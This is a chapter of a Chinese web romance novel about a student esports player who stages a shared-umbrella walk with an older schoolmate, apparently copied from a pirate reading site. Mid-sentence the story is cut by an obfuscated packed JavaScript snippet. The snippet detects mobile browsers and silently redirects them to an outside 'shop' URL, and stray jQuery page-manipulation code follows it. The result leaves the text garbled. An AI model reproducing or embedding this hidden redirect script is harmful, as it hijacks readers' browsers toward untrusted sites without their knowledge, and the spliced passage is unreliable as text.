18.贴贴

作品:《真少爷他撩人不成反被钓

    之后的秋季赛,TD对阵GH不出所料地输了。


    TD提前告别秋季赛,这是从来没有发生过的事情。


    当年TD出道即巅峰,一路从次级联赛打到世界赛,未尝败绩。


    鹿溪午更是在总决赛中直接单杀了美国队的第一中单Leo,奠定了决胜局的胜利,拿下了fmvp。


    之后,处于巅峰状态的TD神挡杀神,稳拿国内所有比赛的冠军。


    而现在,TD却不得不提前告别秋季赛。


    战队粉丝们十分难受,官博下方各种各样的言论层出不穷。


    电子竞技,菜是原罪。


    陆云作为战队新面孔,deer的接班人,无疑承受来自粉丝们的极大恶意。


    【这cloud打的什么啊?赶着给人送菜吗?】


    【九敏,真的看得心梗了,TD能不能换个中单?把deer换回来吧……】


    【TD能不能别梦游了。】


    【TD,退订!】


    鹿溪午刷了刷微博,看着热搜榜上的#TD退订#的词条,沉重地叹了口气。


    算了,这两天暂时先不直播了,万一到时候有人带节奏,对谁都不好。


    这么想着,徐泽的电话先一步打来。


    鹿溪午接起电话,“怎么了,老徐?”


    “哦,就是打电话告诉你,这周TD放假,不用开战术会。”


    徐泽的声音听起来很是疲惫,他作为一手组建TD的元老级人物,对战队的感情不比鹿溪午这些队员差。看到网络上铺天盖地的恶评,徐泽也显得有些心力交瘁。


    “知道了,你也好好休息休息,别太操心了。”鹿溪午有些担忧徐泽的状态。


    徐泽站在俱乐部的落地窗前,手上夹着一根点燃的香烟,一旁茶几上的烟灰缸也满是烟头。


    “嗯,我知道。”徐泽故作轻松道:“当年我们不也是这么过来的吗?没事。”


    鹿溪午默然。


    现在的TD跟之前的TD可不一样。


    那时候的TD没有背负这么多的负担,赢就是赢,输就是输。而现在,徐泽需要考虑很多比赛之外的事情,比如价值,比如赞助商。


    资本可不会赔钱赚吆喝,做不出成绩就撤资,跟他们谈梦想纯粹对牛弹琴。


    徐泽这几天给人陪笑陪得脸都僵了。


    所幸TD战队的商业价值仍在,不至于被釜底抽薪那么严重,只是下一赛季所背负的压力更大了。


    但徐泽是不会让这些压力影响到其他人的,他是个善于内化的人。


    再开口时,已经让人听不出什么负面情绪了。


    “TD永远都是那个TD,无所谓输赢。”


    徐泽还是那个徐泽。


    鹿溪午弯了弯唇角,调侃道:“你什么时候能改改你那个爱操心的毛病,好好一个教练硬是把人家经理该做的全做了。”


    “是哦,我应该把经理的工资给领了。”


    TD经理:?过分!


    .


    鹿溪午最近的注意力放在了贺存身上。


    上次在办公室的事情给鹿溪午留下了深刻的印象,但是……谋事在人成事在天,他必须再创造机会。


    不过最近贺存似乎很忙,好像是在写什么收购案来着?


    鹿溪午抿嘴,对于他这样的新生来说,收购案这种偏商科的东西离他还是遥远了些。


    难得的,鹿溪午在课堂上走了神,笔尖在本子上画出几道不规则的弧线。


    周有柏注意到了鹿溪午的心不在焉,碰了碰他的胳膊肘,“你干嘛呢?”


    “……没什么。”鹿溪午回神,看着窗外乌云密布的天空,喃喃道:“好像要下雨了。”


    周有柏顺着鹿溪午的视线看去,将窗外昏沉的天光尽收眼底,庆幸道:“是啊,天气预报说今天有大雨,还好我带了伞。”


    对了,伞!


    这句话令鹿溪午精神一振。


    刚才跟学长聊天时,他说他还在图书馆,要是他没带伞的话……


    这不是自己刷好感的好机会吗?!


    正当他这么想着,天空中忽然划下一道刺目的闪电,紧接着就是震耳欲聋的雷声,霎时间倾盆的大雨落下,噼里啪啦地砸在地上,溅起无数小水花。


    这场雨来得快极了,只一瞬,天地就被笼罩在茫茫的昏暗雨幕中,远处的高楼只剩下了一个模糊的轮廓。


    贺存被这场急雨打断了思路,望着窗外豆大的雨滴,他突然后知后觉地想起今天没有带伞。


    他收了电脑,坐在位置上等了一会儿,又看了看手机上的天气预报,确认这场雨一时半会儿没法停之后,无奈地叹了口气。


    真是失策。


    就在贺存准备叫人送伞时,一声脆生生的呼唤打断了他的动作。


    “学长!”


    贺存抬眸,看见了冒冒失失向他奔来的鹿溪午。


    他的眼睛湿漉漉的,像是倒影着星光的湖水。


    “你怎么在这儿?”贺存讶然,视线扫到了鹿溪午微湿的衣角,眼神微沉。


    鹿溪午扬了扬手中的书,“我来借书,正巧碰见学长了——诶,你带伞了吗?”


    贺存摇摇头。


    “那一起走吧。”鹿溪午眼底闪过一丝得逞的笑意,“我送学长回去。”


    鹿溪午的伞不大,一个人遮刚刚好,但面对两个成年男性,尤其是其中一个身高超过180的情况下,这把小伞显得有些捉襟见肘起来。


    鹿溪午窘迫地笑了笑,把伞举高,往贺存的方向偏移。


    雨声一点都不见小,空气里腾起的湿润气味越发浓郁,连成线的水珠沿着伞骨蜿蜒坠落,打湿了衣摆。北风一卷,是透心凉的温度。


    贺存脱下外套罩在鹿溪午的身上,顺手接过他手里的伞柄,伞面稳稳立在头顶。


    鹿溪午猝不及防被属于贺存的木质香裹了满身,直愣愣地看向贺存:“……学长?”


    狭小的伞下空间使两人挨得极近,紧紧相贴的手臂使得鹿溪午能清晰地感受到贺存每一次移动的肌理轮廓,略显滚烫体温透过薄薄的布料传来。


    大雨将一个个伞分隔成无数不同的小世界,这个世界此时只属于两个人。


    体温,衣料,雨声,盘旋而上,交织成名为暧昧的网。


    这种微妙的认知使得鹿溪午不受控制地起了一身鸡皮疙瘩,理智的弦在脑海中疯狂颤动。


    太近了。


    实在是太近了。


    贺存敏锐地发现了鹿溪午的变化,却明知故问:“冷?”


    贺存贴得更近了,几乎是半边身子都笼罩住了鹿溪午,伞柄往鹿溪午的方向倾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722317|143210||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    斜,像是被磁铁吸引的金属。


    鹿溪午瞥见贺存另一侧被雨水淋湿的肩头,衬衫紧贴着肩膀结实的曲线,遒劲有力的肌肉彰显着一个成年男性的力量。


    冷风迎面拍打而来,秋日的雨水夹杂着透骨的凉意。


    这下鹿溪午什么旖旎的心思都没有了,伸手将伞柄扶正,“我们还是快走吧。”


    “好。”贺存点头,却又将伞柄不动声色地倾过去。


    鹿溪午撇撇嘴,又执拗地将伞掰回来。


    倾过去,掰回来,倾过去,又掰回来……


    这场无声的较量一直持续到鹿溪午家楼下。


    “到了,进去吧。”


    在熟悉的单元楼前,鹿溪午才如梦初醒:诶?不是我送学长回家的吗?


    贺存举着伞,将人送进室内,又不放心地站在雨幕中叮嘱:“洗澡别洗太久,记得熬点姜汤,晚上要是不舒服的话,记得吃药。”


    鹿溪午眨巴眨巴眼睛:“学长……”


    “这伞我就借走了,快上去吧,小心感冒。”


    鹿溪午目送贺存的身影消失在大雨中,喃喃自语:“这剧本……好像不对诶。”


    可随后他又快乐起来,今天也是跟学长的关系拉近了一点呢!


    鹿溪午回到家里,按照贺存的叮嘱熬好姜汤,才发现自己的身上披着贺存的外套。


    鹿溪午取下外套,端端正正地挂在衣架上,用手机拍好照片,给贺存发消息:


    斑比:[图片]


    斑比:[学长,你的外套落在我这里了。]


    H:[没事,先放你那。有喝姜汤吗?]


    鹿溪午立马把手里的碗拍下来。


    斑比:[图片]


    斑比:[喝完啦。]


    斑比:[我超乖的.jpg]


    贺存看着手机里的那张狗狗表情包,忍不住发出一声轻笑,长按将这张图保存下来。


    H:[好。]


    得到回复的鹿溪午心满意足地放下手机,哼着歌抱着贺存的外套走向了洗衣机。


    让他想想用哪个香味的洗衣液好一点呢?


    这场雨仍然在继续。贺存将手里的伞撑开,准备放到卫生间等它自然晾干,却无意在伞面的一角摸到了一点不平整的凸起——


    周有柏。


    是黑线绣的名字,完美的跟黑色的伞面融为一体,不仔细看根本看不出来。


    一瞬间想明白前因后果的贺存无奈地笑出声。


    真是……


    诡计多端的小斑比。


    周有柏回到宿舍楼,甩了甩伞上的雨珠才收起来。


    赵文与他擦肩而过,疑惑的目光投向周有柏手上的伞。


    “我记得这伞是鹿溪午的,你怎么把别人的伞给抢了?”


    周有柏瞪大了双眼:“不是吧,大学霸,别人的伞是什么样的你都记得?!”


    赵文耸了耸肩,“为了防止拿错,班上所有同学的伞我都记得,怎么了?”


    “……没事,你开心就好。”


    “你还没回答我的问题,鹿溪午呢?”


    周有柏也学着赵文的样子耸耸肩,“我也不知道哇,他非要拿他的大伞换我的小伞,谁知道他吃错什么药了?”


    “那伞上还有我妈给我绣的名字呢,希望可别给我弄丢了。”